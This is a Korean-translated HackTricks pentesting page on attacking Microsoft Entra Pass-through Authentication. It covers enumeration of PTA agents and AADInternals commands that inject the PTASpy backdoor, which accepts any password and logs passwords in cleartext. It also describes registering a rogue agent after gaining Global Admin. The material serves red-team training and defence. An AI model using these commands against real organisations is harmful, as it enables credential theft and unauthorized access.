Az - PTA - Pass-through Authentication

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Basic Information

From the docs: Microsoft Entra 패스스루 인증을 사용하면 사용자가 온프레미스 및 클라우드 기반 애플리케이션에 동일한 비밀번호로 로그인할 수 있습니다. 이 기능은 사용자가 기억해야 할 비밀번호를 줄여 더 나은 경험을 제공하며, 사용자가 로그인 방법을 잊어버릴 가능성이 줄어들기 때문에 IT 헬프데스크 비용을 줄입니다. 사용자가 Microsoft Entra ID를 사용하여 로그인할 때, 이 기능은 사용자의 비밀번호를 온프레미스 Active Directory에 직접 검증합니다.

PTA에서는 아이덴티티동기화되지만 비밀번호는 동기화되지 않습니다 (PHS와 다름).

인증은 온프레미스 AD에서 검증되며, 클라우드와의 통신은 온프레미스 서버에서 실행되는 인증 에이전트에 의해 이루어집니다 (온프레미스 DC에 있을 필요는 없습니다).

Authentication flow

  1. 사용자는 로그인을 위해 Azure AD로 리디렉션되며, 여기서 사용자 이름비밀번호를 보냅니다.
  2. 자격 증명암호화되어 Azure AD의 에 설정됩니다.
  3. 온프레미스 인증 에이전트가 큐에서 자격 증명을 수집하고 복호화합니다. 이 에이전트를 "패스스루 인증 에이전트" 또는 PTA 에이전트라고 합니다.
  4. 에이전트온프레미스 AD에 대해 자격 증명을 검증하고, 긍정적인 응답이 있을 경우 사용자의 로그인을 완료하기 위해 Azure AD에 응답전송합니다.

warning

공격자가 PTA타협하면 큐에서 모든 자격 증명을 ( 일반 텍스트로) 볼 수 있습니다.
그는 또한 AzureAD에 대해 모든 자격 증명검증할 수 있습니다 (스켈레톤 키와 유사한 공격).

Enumeration

From Entra ID:

bash
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}

온프레미스 서버에서 에이전트가 실행 중인지 확인하십시오:

bash
Get-Service -Name "AzureADConnectAuthenticationAgent"

Pivoting

Azure AD Connect 서버admin 접근 권한이 있고 PTA 에이전트가 실행 중인 경우, AADInternals 모듈을 사용하여 모든 비밀번호가 유효하다고 검증하는 백도어삽입할 수 있습니다 (따라서 모든 비밀번호가 인증에 유효하게 됩니다):

bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor

note

설치가 실패하는 경우, 이는 아마도 Microsoft Visual C++ 2015 Redistributables가 누락되었기 때문입니다.

이 백도어는:

  • 숨겨진 폴더 C:\PTASpy를 생성합니다.
  • PTASpy.dllC:\PTASpy에 복사합니다.
  • PTASpy.dllAzureADConnectAuthenticationAgentService 프로세스에 주입합니다.

note

AzureADConnectAuthenticationAgent 서비스가 재시작되면 PTASpy는 “언로드”되며 다시 설치해야 합니다.

caution

클라우드에서 GA 권한을 얻은 후, 새 PTA 에이전트를 등록할 수 있으며, 이전 단계를 반복하여 모든 비밀번호를 사용하여 인증하고, 비밀번호를 평문으로 얻을 수 있습니다.

Seamless SSO

PTA와 함께 Seamless SSO를 사용할 수 있으며, 이는 다른 남용에 취약합니다. 확인해 보세요:

Az - Seamless SSO

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기